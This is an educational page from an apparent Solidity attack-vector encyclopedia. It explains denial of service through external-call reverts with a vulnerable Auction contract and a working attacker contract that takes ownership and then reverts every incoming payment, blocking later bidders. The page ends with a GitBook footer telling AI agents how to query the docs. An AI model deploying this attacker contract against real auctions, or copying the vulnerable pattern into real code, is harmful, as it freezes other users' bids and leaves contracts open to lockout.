> For the complete documentation index, see [llms.txt](https://lab.guardianaudits.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lab.guardianaudits.com/encyclopedia-of-solidity-attack-vectors/external-call-reverts-dos.md).

# External Call Reverts DoS

External calls can cause the contract to be vulnerable to DoS attacks. To better explain how can this be possible, consider the following simplified Auction contract:

```solidity
contract Auction {

  address public currentOwner;
  uint public currentBid;

  constructor() payable {
    currentOwner = msg.sender;
    currentBid = msg.value;
  }

  receive() external payable {
    require(msg.value > currentBid);
    payable(currentOwner).call{msg.value}("");
    currentOwner = msg.sender;
    currentBid = msg.value;
  }
}
```

For anyone to be a new owner of the Auction, he needs to send an amount of ether greater than the current price (which is set by the `currentOwner`).\
To prevent someone else from being a new owner (even if he has more ether than the current price), we can perform a DS attack into the contract by creating a malicious contract that we register as the `currentOwner` (by sending ether greater than the current price of course) and reverts the transaction whenever it receives ether. So, when a new address attempts to be a new owner (the `currentOwner` is our malicious contract), the transaction will revert, hence the `newOwner` will not be set anymore.\
Below is an example of a Malicious contract that can perform a DoS attack on the Auction contract:

```solidity
contract AuctionDOS {

    constructor(address payable _auction) payable {
        uint currentBid = Auction(_auction).currentBid();
        require(msg.value > currentBid, "You need to send more ether to be the currentOwner");

        // we register the contract as the currentOwner
        (bool success,) = _auction.call{value: msg.value}("");
        
        require(success, "Failed to register as currentOwner");
    }

    receive() external payable {
        // the contract will revert the transaction whenever there is an attempt to change the currentOwner
        revert("newOwner can not be set anymore x)");
    }
}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://lab.guardianaudits.com/encyclopedia-of-solidity-attack-vectors/external-call-reverts-dos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
